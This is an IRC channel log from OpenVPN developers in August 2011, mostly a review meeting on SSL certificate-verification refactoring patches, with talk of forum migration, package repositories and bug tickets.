has joined #openvpn-devel 17:53 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:07 <+ecrist> mattock: do you have a meeting list for this week? --- Day changed Wed Aug 03 2011 02:08 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Read error: Connection reset by peer] 02:08 <@mattock> ecrist: not yet, but the topics were announced in the last summary email 02:39 -!- dazo_afk is now known as dazo 03:58 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-08-03 03:58 <@vpnHelper> Title: Topics-2011-08-03 – OpenVPN Community (at community.openvpn.net) 05:00 -!- dazo is now known as dazo_afk 05:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 05:56 -!- dazo_afk is now known as dazo 06:08 -!- dazo is now known as dazo_afk 06:13 -!- dazo_afk is now known as dazo 06:37 -!- dazo is now known as dazo_afk 06:37 -!- dazo_afk is now known as dazo 07:12 <+ecrist> thanks, mattock 07:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:27 -!- rommel092079 [475e9251@gateway/web/freenode/ip.71.94.146.81] has joined #openvpn-devel 09:30 < rommel092079> guys can I ask you something. I am not a c programmer, and i have problem with my isp blocking internet more often. I need icmp protocol. I am not rich too. I can afford only to pay $30 for this. 09:33 < rommel092079> I know that is not much for what I need. 09:37 <@dazo> rommel092079: If somebody provides patches for inclusion to the mailing list, they will be considered. Until that happens, ICMP is not being worked on 09:38 <@dazo> rommel092079: and if we now find out that you also use the nics genlime and flowerboy ... your IPs will be blocked! 09:38 <@dazo> ecrist: ^^^ 09:39 <@dazo> (sorry, I've lost the overview you sent me yesterday) 09:42 -!- rommel092079 [475e9251@gateway/web/freenode/ip.71.94.146.81] has quit [Ping timeout: 252 seconds] 09:44 -!- rommel092079 [475e9251@gateway/web/freenode/ip.71.94.146.81] has joined #openvpn-devel 09:44 < rommel092079> those are my friends dazo using my vpn. we are looking for icmp solution due to censorship in our country. 09:46 <+ecrist> rommel092079: go away 09:46 < rommel092079> :( 09:46 <@dazo> rommel092079: well, I told genlime pretty clearly yesterday that ICMP is not being worked on and will not for the next decade from our side ... somebody who knows C programming will need to look into this ... so just go away 09:46 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:47 < rommel092079> :( 09:47 -!- mode/#openvpn-devel [+b *!*@gateway/web/freenode/*] by ecrist 09:47 -!- rommel092079 [475e9251@gateway/web/freenode/ip.71.94.146.81] has quit [Client Quit] 09:47 -!- mode/#openvpn-devel [-o ecrist] by ecrist 09:47 <@dazo> yeah, probably just as good 09:47 <+ecrist> really, there's no need to allow web users in here. 09:47 <@dazo> nope, not in this channel 10:52 <@mattock> andj: I might come a little late to the meeting 11:15 -!- jamx [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 260 seconds] 11:23 -!- dazo is now known as dazo_afk 12:00 <@andj> evening 12:04 <@andj> anyone around? 12:04 <+ecrist> yeah 12:05 <@andj> ah, mattock is going to be a little later... Was wondering what was up with the sprint :) 12:14 < cron2> wrong day for meeting 12:14 * cron2 can't meet on wednesdays 12:15 < cron2> (and needs to go to $customer with $brokenstupidcomputahthing anyway *sigh*) 12:15 <@andj> I'm off tomorrow evening, so asked if we could do the sprint thing today 12:20 <@mattock> sorry I'm more late than anticipated 12:20 <@mattock> james not here yet, I'll mail him 12:20 <@andj> That's ok, jamesyonan is even later :) 12:21 <@mattock> yeah 12:22 <@mattock> mail sent 12:22 <@andj> cool, we'll see when he shows up... 12:22 <@mattock> also poked him in our internal IRC 12:22 <@andj> Otherwise it'll have to be next week 12:23 <@andj> how many people work at OpenVPN? 12:23 <@andj> (corporate part that is) 12:24 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:24 <@andj> hi 12:24 <@jamesyonan> hi 12:25 <@andj> Ready to get started? 12:25 <@mattock> hi jamesyonan! 12:25 <@mattock> yeah, let's do it 12:25 <@mattock> :) 12:25 <@jamesyonan> sure 12:25 <@andj> ok, starting with the first patch :) 12:25 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/ac7cefae3d05f993ff25d6ed6fd51d37b9d1c803 12:25 <@vpnHelper> Title: Commit ac7cefae3d05f993ff25d6ed6fd51d37b9d1c803 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:25 <@andj> with https://gist.github.com/1111951 as a diff of diffs 12:25 <@vpnHelper> Title: andj's gist: 1111951 Gist (at gist.github.com) 12:25 <@andj> This factors out the NS_CERT_TYPE stuff 12:26 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-08-03 12:26 <@vpnHelper> Title: Topics-2011-08-03 – OpenVPN Community (at community.openvpn.net) 12:26 <@andj> the variable was OpenSSL specific 12:26 <@andj> So it got moved to "NS_CERT_CHECK_SERVER" and "NS_CERT_CHECK_CLIENT" 12:30 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:30 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:30 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:32 <@andj> anyway, this one should be relatively straightforward. It adds a small amount of code, but no functionality changes 12:33 <@jamesyonan> yes, this looks fine 12:33 <@andj> cool 12:34 <@andj> similar story, for KU checks: https://github.com/andj/openvpn-ssl-refactoring/commit/2731886dcb714be5af04e0ec5f9df9ff273f8401 12:34 <@vpnHelper> Title: Commit 2731886dcb714be5af04e0ec5f9df9ff273f8401 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:34 <@andj> and https://gist.github.com/1123165 12:34 <@vpnHelper> Title: andj's gist: 1123165 Gist (at gist.github.com) 12:39 <@jamesyonan> this looks good 12:39 <@andj> cool, again, for EKU https://github.com/andj/openvpn-ssl-refactoring/commit/fd9c5f659cfe99a2380ce758c1ccc1b9af7e8d01 12:39 <@vpnHelper> Title: Commit fd9c5f659cfe99a2380ce758c1ccc1b9af7e8d01 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:39 <@mattock> two ACKs, few more to go :D 12:39 <@andj> https://gist.github.com/1123172 12:39 <@vpnHelper> Title: andj's gist: 1123172 Gist (at gist.github.com) 12:39 <@andj> we're doing well :) 12:39 <@jamesyonan> BTW, I have to run about one hour from now 12:40 <@andj> That's ok, gives me some more time for myself this evening :) 12:44 <@jamesyonan> I assume that verify_cert_eku returns 1 or true on success. 12:45 <@andj> yes, see the ssl_verify.c snippet a little later 12:45 <@jamesyonan> I notice sometimes you are returning 1/true on success and sometimes 0/false 12:45 <@andj> The behaviour hasn't really changed there 12:46 <@andj> from what was being returned earlier and now 12:46 <@andj> It might be an idea to normalise stuff in a later patch 12:46 <@jamesyonan> so you're just preserving the return value conventions of original code? 12:46 <@andj> once everything is in its own function 12:46 <@andj> yes 12:46 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/fd9c5f659cfe99a2380ce758c1ccc1b9af7e8d01#L0L286 12:46 <@vpnHelper> Title: Commit fd9c5f659cfe99a2380ce758c1ccc1b9af7e8d01 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:47 <@andj> is the original stuff 12:47 <@andj> We could perhaps intrduce a SUCCESS and FAILURE #define 12:47 <@andj> to clarify stuff even further 12:47 <@andj> once the patches are through 12:48 <@jamesyonan> sure, that makes sense 12:48 <@jamesyonan> yes, this patch looks fine 12:48 <@andj> thnaks, https://github.com/andj/openvpn-ssl-refactoring/commit/cf90d5f8cd4976e641fab81ac8054432f38df1ee 12:48 <@vpnHelper> Title: Commit cf90d5f8cd4976e641fab81ac8054432f38df1ee to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:48 <@andj> is a small one 12:48 <@andj> https://gist.github.com/1123177 12:48 <@vpnHelper> Title: andj's gist: 1123177 Gist (at gist.github.com) 12:48 <@andj> shows hardly any changes 12:48 <@andj> cert_depth is checked a level up 12:49 <@andj> before verify_peer_cert is called 12:51 <@jamesyonan> right 12:51 <@jamesyonan> this looks good 12:51 <@andj> I promised it would be better this week :) 12:51 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/e9a18e013b1dfedc0f21f1d7f7c2e740c0a968cb 12:51 <@vpnHelper> Title: Commit e9a18e013b1dfedc0f21f1d7f7c2e740c0a968cb to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:51 <@andj> and the diffdiff is here: https://gist.github.com/1123185 12:52 <@vpnHelper> Title: andj's gist: 1123185 Gist (at gist.github.com) 12:52 <@andj> Basically extracts the plugin call 12:54 <@andj> BTW, what do you guys prefer as SUCCESS and FAILURE? 12:54 <@andj> 1 or 0? 12:56 <@jamesyonan> personally, I tend to like success being 0 and failure being non-zero because then you can map non-zero integers to specific errors if needed 12:56 <@mattock> also, 0 is the normal "success" exit code for *NIx processes... if they behave properly 12:57 <@mattock> not that there's any relation to that here :P 12:57 <@andj> typedef enum { SUCCESS=0, FAILURE=1 } result_t; 12:57 <@andj> ? 12:57 <@andj> typedef enum { success=0, failure=1 } result_t; 12:57 <@jamesyonan> it's not universal though -- windows APIs often go the other way 12:58 <@andj> I'm fine with 0, was just playing around with the patch idea 12:58 <@andj> anyway, let's get back to the patches :) 12:59 <@jamesyonan> yes, e9a18... looks fine 12:59 <@andj> Next on for the scripts: https://github.com/andj/openvpn-ssl-refactoring/commit/a60b87394334587f9879da2d469d2a4a4c51a826 12:59 <@vpnHelper> Title: Commit a60b87394334587f9879da2d469d2a4a4c51a826 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 12:59 <@andj> https://gist.github.com/1123188 12:59 <@vpnHelper> Title: andj's gist: 1123188 Gist (at gist.github.com) 13:00 <@andj> The diff of diffs is a little skewed there 13:10 <@jamesyonan> this looks fine... it might be a bit cleaner to have the gc_new and gc_free be called unconditionally any time the function is called. 13:10 <@jamesyonan> right now, they are only being done if verify_export_cert 13:11 <@andj> yeah, I thought it was symmetrical enough this way 13:11 <@andj> But if you're afraid of bugs due to future expansion, I can see your point 13:11 <@jamesyonan> so it's conceivable if someone was modifying the function in the future, they might introduce a code path that would skip the gc_free 13:11 <@andj> ok, patching 13:12 <@andj> will have one ready soon... 13:12 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/e4327902ed2af06f2596cdf306f4a0b76b1f0649 13:12 <@vpnHelper> Title: Commit e4327902ed2af06f2596cdf306f4a0b76b1f0649 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:12 <@andj> and https://gist.github.com/1123196 are next 13:12 <@vpnHelper> Title: andj's gist: 1123196 Gist (at gist.github.com) 13:12 <@andj> looks scary, but the gist shows otherwise :) 13:12 <@jamesyonan> my preferred style is to have a "done:" label that all function exits must pass through that cleans up stuff 13:13 <@andj> yeah, tended to stick to that too 13:13 <@andj> not necessary here though 13:17 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/fce243108b1c538359b0f33e7e58a884cc2be2b4 13:17 <@vpnHelper> Title: Commit fce243108b1c538359b0f33e7e58a884cc2be2b4 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:17 <@andj> is the patch for the gc_new and gc_free movement 13:21 <@jamesyonan> sure, gc_new/gc_free patch looks fine (I'm presuming that there's no mid-function return statements that might bypass gc_free) 13:21 <@andj> nope 13:22 <@andj> and the other one? 13:23 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/f67d4841c6edc2d9a9383ae6dce3a694a735dad7 performs a few minor bits of cleanup before the whole verify_cert function gets moved 13:23 <@vpnHelper> Title: Commit f67d4841c6edc2d9a9383ae6dce3a694a735dad7 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:24 <@jamesyonan> CRL refactor seems fine, though I'm not too happy with the original implementation 13:24 <@andj> Yeah, we discussed that last week 13:24 <@jamesyonan> doing low-level stuff like verifying CRL issuers and checking serial numbers is something that's better done by the OpenSSL library directly 13:25 <@andj> It just adds maintenance burden and potential extra bugs this wa 13:25 <@andj> y 13:29 <@jamesyonan> f67d4... looks fine 13:29 <@mattock> https://community.openvpn.net/openvpn/wiki/PolarSSLintegration?version=24#Verificationfunctions 13:29 <@jamesyonan> I gotta run in a couple minutes 13:29 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 13:29 <@andj> ok, last one 13:29 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/5b118dd62369b8d9cb2b425a27b8e7e9ba05ef5f 13:29 <@vpnHelper> Title: Commit 5b118dd62369b8d9cb2b425a27b8e7e9ba05ef5f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:29 <@andj> looks huge 13:29 <@andj> but does nothing 13:29 <@andj> https://gist.github.com/1123263 13:29 <@vpnHelper> Title: andj's gist: 1123263 Gist (at gist.github.com) 13:29 <@andj> just moves the function from one to the other 13:31 <@jamesyonan> I see setenv_untrusted being removed but I don't see where it's added back in 13:31 <@andj> let me check 13:32 <@andj> It was moved in a previous patch 13:33 <@andj> same goes for mod_sslname TLS_USERNAME_LEN and a few others 13:35 <@jamesyonan> I gotta run 13:35 <@andj> I'm going to play with a patch that moves the verification values to a single model, and double check the current ones (as they're important) 13:35 <@andj> jamesyonan: thanks, was the last one acked? 13:35 <@jamesyonan> yes 13:36 <@andj> thanks, see you next week Thursday 13:36 <@mattock> ok, end of meeting then :) 13:36 <@andj> There was something about the forums still? 13:36 <@andj> or is that for some other time? 13:36 <@mattock> oh, I got to check 13:36 <@mattock> ah yes 13:37 <@mattock> ecrist: there? 13:39 <@andj> oh well, thanks everyone again 13:39 <@andj> that was the bulk of the verification stuff 13:39 <@mattock> andj: thanks for taking care of the nasty "diff of diffs" stuff and all 13:39 <@mattock> these meetings run almost by themselves :) 13:39 <@andj> no problem, just happy with the progress we're making 13:39 <@mattock> latest version of ACK status here: https://community.openvpn.net/openvpn/wiki/PolarSSLintegration?version=26 13:39 <@vpnHelper> Title: PolarSSLintegration – OpenVPN Community (at community.openvpn.net) 13:40 <@andj> damn, I'm glad I looked 13:40 <@mattock> oh, how come? 13:40 <@andj> there's a minor, but annoying mistake 13:40 <@andj> in the OpenSSL callback 13:40 <@andj> It expects 0 on failure and 1 on success 13:40 <@mattock> ah 13:41 <@andj> and when preverify_ok == 0, it returns 1 13:41 <@andj> which is bad 13:41 <@andj> so I'm fixing that now 13:42 <@andj> Thankfully openvpn does a double check, which hid the bug 13:42 <@andj> during my tests 13:43 <@mattock> ecrist: ? 13:47 <@mattock> ecrist: personally, I think we should keep the old forums around in read-only mode indefinitely... or at least for a long time 13:48 <@mattock> the stuff might have been cached and/or linked to already 13:48 <@andj> Migration is not possible/difficult? 13:48 <@mattock> andj: don't know the details 13:48 <@mattock> ecrist does 13:48 <@mattock> migration would be best, of course 13:50 <@mattock> unless ecrist says "present" soon, I'll call this a day :) 13:50 <@andj> same here :) 13:52 <@mattock> ok, let's call it a day 13:52 <@mattock> :) 13:52 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 13:53 <@andj> speak to you guys soon! 13:53 <@mattock> yep, bye all! 13:53 <@mattock> summary coming up tomorrow 14:03 <+ecrist> pong, sorry 14:04 <+ecrist> mattock: sorry, involved in a project at work. 14:04 <+ecrist> didn't realize the meeting was today 14:04 <@mattock> ecrist: no problem 14:05 <@andj> my fault 14:05 <@mattock> andj: no need to take the bullet :D 14:05 <@andj> :) 14:05 <@mattock> "there's nobody to blame" 14:05 <@andj> I did ask for it though 14:06 <@mattock> ecrist: my 5c... why not keep the old forums in read-only mode indefinitely/very long? 14:06 <+ecrist> I think we should keep it around for a while, probably a year or so, at least. 14:06 <@mattock> there may be tons of links to them, plus google caches and that 14:06 <@mattock> yeah, at least a year 14:06 <+ecrist> the reason I don't recommend keeping them around indef is I don't want links there to persist too long. 14:07 <+ecrist> I'm running in to issues cleanly migrating things, especially when there's links to other topics within a topic. 14:07 <+ecrist> I figure, we're young enough, just migrate to a clean forum, and call it good. 14:07 <@mattock> can you migrate them to some extent? 14:08 <@mattock> or would it be too embarassing to show to people with all the borked links? 14:08 <@mattock> :P 14:08 <+ecrist> it's really messy, to be honest. 14:08 <+ecrist> part of the problem is our ldap back end. 14:09 <+ecrist> it doesn't allow vbs importer to migrate accounts cleanly, and forum post and counts and such go all wonky 14:09 <+ecrist> also, the why topics/threads/etc work internally are completely different. 14:10 <@mattock> ah 14:10 <@mattock> clean install is better, then 14:10 <+ecrist> in my opinion, I think it's best to cut the cord 14:11 <@mattock> ok, sounds good 14:11 <@mattock> how has LDAP extension/plugin worked so far? 14:11 <+ecrist> it seems to be working good, but there are bugs I've been unable to track down having to do with old posts. 14:12 <+ecrist> if I can do away with old posts, I can narrow down any remaining bugs and get things in order. 14:12 <+ecrist> what I'm going to do now is finish/finalize my ldap plugin for vB and do some testing. 14:12 <@mattock> ok, sounds like plan 14:12 <+ecrist> there's a bit of cleanup to do yet, mostly to make it an easy to install package, making future core upgrades easier. 14:13 <+ecrist> what I need from you and Andrew is the templating. 14:13 <+ecrist> if we can get some styles lined up, and get a final ACK from the community, I'll purchase our license and push it out, hopefully by Sep 1 14:16 -!- raidz [~Administr@openvpn/corp/admin/andrew] has left #openvpn-devel [] 14:16 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:28 <@andj> I unified the return values 14:29 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/f543aafc52d8885c36ced7bf0eb74919dc6bb75f 14:29 <@vpnHelper> Title: Commit f543aafc52d8885c36ced7bf0eb74919dc6bb75f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:29 <@andj> As you can see, it was a bit of a mess 14:29 <@andj> with false/true used in different ways 14:29 <@andj> mixed with some 0's and 1's 14:29 <@andj> now it's just SUCCESS and FAILURE 14:33 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 14:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:53 <@mattock> ecrist: sure, we can take care of templating 14:57 <@mattock> btw. I finished setting up Debian/Ubuntu repos, there's already documentation on Trac: https://community.openvpn.net/openvpn/wiki/OpenvpnAptRepos 14:57 <@vpnHelper> Title: OpenvpnAptRepos – OpenVPN Community (at community.openvpn.net) 14:57 <@mattock> I still need to tune Apache a bit, but otherwise it's good 14:57 <@mattock> with GPG signatures and all 14:57 <@mattock> should help us get alpha/beta testers from the *NIX camp 15:09 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 15:17 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 15:17 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:00 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 255 seconds] --- Day changed Thu Aug 04 2011 02:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:48 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:49 -!- dazo_afk is now known as dazo 05:19 -!- dazo is now known as dazo_afk 05:22 -!- dazo_afk is now known as dazo 05:57 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 13:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 13:27 -!- dazo is now known as dazo_afk 15:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 16:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 20:16 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 22:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Fri Aug 05 2011 04:08 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:21 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 04:29 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 05:13 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 05:49 < Veryevil> Does anyone keep logs from this channel? 06:01 < Veryevil> The log on the site stopped in April 06:37 <+ecrist> yes, I keep logs 06:37 <+ecrist> which site? 06:38 < Veryevil> on the openvpn site there is a log for this channel but it stops in april 06:38 < Veryevil> http://secure-computing.net/logs/%23openvpn-devel.log 06:39 < Veryevil> I would love it if you could send me the logs for last friday 06:39 <+ecrist> that site is mine 06:39 < Veryevil> was supposed to save chat log but forgot when I disconencted 06:39 <+ecrist> I have been to lazy to fix the update since I use IRC on a different box than my web server 06:39 <+ecrist> let me ship them over there now. 06:41 <+ecrist> should be there now 06:42 * ecrist sets up log export 06:42 < Veryevil> whats the link? 06:43 < Veryevil> sorry reading wrong end of file 06:48 <+ecrist> the link you pasted here will work. 06:48 < Veryevil> Thanks thats what I needed. 06:49 <+ecrist> I've set it up now so it'll update again every 3 hours 06:49 < Veryevil> fantastic 06:49 <+ecrist> where did you find that link? 06:50 <+ecrist> I want to make sure whatever is pointing there is accurate 06:50 < Veryevil> top of https://community.openvpn.net/openvpn/wiki/IrcMeetings 06:50 <@vpnHelper> Title: IrcMeetings – OpenVPN Community (at community.openvpn.net) 06:50 <+ecrist> thanks 06:51 <+ecrist> updated! 09:16 -!- Veryevil [~Veryevil@83.166.186.218] has quit [] 10:07 -!- veryevil [~veryevil@02d877e5.bb.sky.com] has joined #openvpn-devel 10:45 < cron2> heya 10:45 < cron2> veryevil: you're so impatient, this is why you never get answers from me... :-) 11:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 12:22 -!- dazo_afk is now known as dazo 14:13 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 15:52 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: quit] 16:07 -!- dazo is now known as dazo_afk 17:19 -!- veryevil [~veryevil@02d877e5.bb.sky.com] has quit [] 17:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:53 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:56 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Sat Aug 06 2011 00:16 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 255 seconds] 11:13 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:09 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: quit] --- Day changed Sun Aug 07 2011 05:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:31 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 13:40 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 14:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:24 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn-devel [] 14:31 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel --- Day changed Mon Aug 08 2011 02:39 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 02:41 < cron2> mattock: you're around? Are the debian/ubuntu packages of openvpn "-current" available somewhere for download? 02:41 <@mattock> cron2: nope, nothing really _current_ is available atm 02:42 <@mattock> the uber-complex setup broke when I had to mess with build permutations in buildbot 02:42 < cron2> oh 02:42 <@mattock> how come? 02:43 < cron2> $someoneelse asked about "how can I get 2.2 + IPv6 on ubuntu?" and I thought we had packages with all the recent good stuff in it :) 02:43 <@mattock> I'm thinking generating monthly snapshot manually might be good enough 02:43 <@mattock> ah... :) 02:43 < cron2> so where's the latest snapshot packages? 02:43 <@mattock> the latest is 2.2.1 02:43 < cron2> that's not a snapshot :) 02:43 <@mattock> nope 02:44 <@mattock> lemme check how old the real snapshots are... 02:44 <@mattock> from April: http://build.openvpn.net/downloads/allmerged/ubuntu/10.04/ 02:44 <@vpnHelper> Title: Index of /downloads/allmerged/ubuntu/10.04 (at build.openvpn.net) 02:45 < cron2> is that linked from somewhere? I clicked on community.openvpn.net, and didn#t find anything 02:45 <@mattock> it's linked to from the openvpn.net downloads page 02:46 < cron2> oh, indeed. I didn't scroll down far enough, stupid me. Thanks. 02:46 <@mattock> no problem 02:46 <@mattock> they were designed to be hard to find 02:46 < cron2> link passed on, so we'll get some more testing now :) 02:46 <@mattock> on purpose, actually 02:46 <@mattock> mkay 02:47 < cron2> ah 02:47 <@mattock> once dazo has merged the Visual Studio fixes to "master" I'll generate the second Windows snapshot installer + first snapshot debs 02:47 <@mattock> the first windows snapshot installer is from my private tree with the build fixes included 02:49 < cron2> ok (not that I'm particularily interested in Windows right now... spent the whole of last week fixing broken windows machines, fighting virus scanners, usb 2.0 support on WinXP, and other stupidity on the way) 02:59 <@mattock> hopefully that didn't take you to brink of insanity or anything? :) 02:59 <@mattock> sound like a mess 03:01 <@mattock> I "get" to play with Windows soon again, as I need recreate the Python build environment... VM migration did not work out well 03:13 < cron2> mattock: what sanity? :-o 03:14 < cron2> mattock: the worst thing was that it involved two different customers, and I had to be on-site, waiting for windows updates and such nonsense while I knew the other customer was getting increasingly impatient... 03:18 -!- dazo_afk is now known as dazo 03:30 <@mattock> cron2: ah, that's annoying 03:30 <@mattock> working with Windows feels like walking in a swamp 03:31 < cron2> do you know what's the best thing? If you struggle with a non-working-but-important USB scanner for a day, and then reach a point where the USB stack in WindowsXP is *so* confused that "plugging in an USB device" (no matter whether "scanner" or "USB stick") will result in an instant bluescreen-reboot... 03:35 <@mattock> and reboot does not fix it? 03:35 <@mattock> there seems to be some life in this rather obscure ticket again: https://community.openvpn.net/openvpn/ticket/126 03:35 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 03:36 < cron2> no (if you leave the usb device connected, it will fall into an endless reboot loop) 03:37 < cron2> huh, that's interesting indeed. So "something" doesn't pad these packets anymore when sending to the windows tap driver 03:37 < cron2> (tap is always "ethernet", ethernet has a minimum packet length - tun has not - so if the packet is too short, it will get dropped) 03:38 < cron2> you won't see this on "tun" platforms, and most likely not with tap-on-unix either 03:46 <@mattock> cron2: another issue: http://article.gmane.org/gmane.network.openvpn.devel/4823, see the "Discussed the "IPV6_RECVPKTINFO vs. IPV6_PKTINFO" patch" section 03:46 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 03:46 <@mattock> not sure if you responded something to this already 03:46 < cron2> I think I said "it's jjo's code" 03:47 < cron2> that's transport / "fix multihome with ipv6" 03:47 < cron2> but I'll happily say it again :-) - "it's jjo's code" 03:48 <@mattock> do you got jjo's email? 03:48 <@mattock> s/got/have/1 03:48 <@mattock> I'll mail him about that 03:48 < cron2> not at hand, I'd need to check the list archives 03:48 <@mattock> I can do it 04:06 <@mattock> done 04:41 -!- dazo is now known as dazo_afk 05:02 -!- dazo_afk is now known as dazo 05:39 < cron2> mgert 05:40 < cron2> gnaha 06:48 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 06:48 < Veryevil> Afternoon. Is Cron2 about? 06:50 <@dazo> Veryevil: it's really challenging for him to reach you when you log on and off so often ... then it's probably better to move your challenges/discussion to the mailing list 06:52 < Veryevil> sorry I only come on during work which is between 8:30am to 4:30pm GMT Though I'm late today 06:53 <@dazo> Veryevil: cron2 has a busy job and some times answers during his breaks ... but more often outside that time scope 06:53 <@mattock> veryevil: cron2 has been around earlier today 07:00 <@mattock> dazo: meeting Thursday? 07:01 <@mattock> in case you missed, this ticket saw some activity: https://community.openvpn.net/openvpn/ticket/126 07:01 <@vpnHelper> Title: #126 (Cannot access Syspro 6.0 Server with 2.2RC or 2.2.0) – OpenVPN Community (at community.openvpn.net) 07:01 <@mattock> apparently a real problem, not unreproducible as we thought 07:05 <@dazo> mattock: I'll know more how things looks like tomorrow afternoon, but I think it's needed with a more general situation meeting begins to be needed 07:06 <@dazo> I've lost a little bit overview over the Visual Studio patches (again!) ... I know there are some in the pipe, but haven't had time to think about it lately 07:06 <@mattock> yeah, regarding 2.3 especially 07:06 <@dazo> yeah 07:06 <@mattock> well, the stuff in tmp/winbuildfix + a few/one of my later patches is need merging to "master" 07:06 < cron2> Veryevil: just drop your questions, leave your IRC client running, and collect the answers next day 07:06 <@mattock> then VS builds will work just fine 07:07 <@dazo> mattock: goodie! 07:07 <@mattock> dazo: just let me know when you have to merge them and I'll provide the links 07:07 * cron2 is around for *10* more minutes... :) 07:07 <@mattock> I think all of my patches got an ACK, but I'll verify 07:07 <@dazo> cron2: have you had time to look at the tmp/svn-merger stuff? 07:08 <@dazo> mattock: thx! .... I'll try to have a look at this asap ... hopefully this week 07:08 <@mattock> btw. here's an overview of our support channels now: https://community.openvpn.net/openvpn/wiki/GettingHelp 07:08 <@vpnHelper> Title: 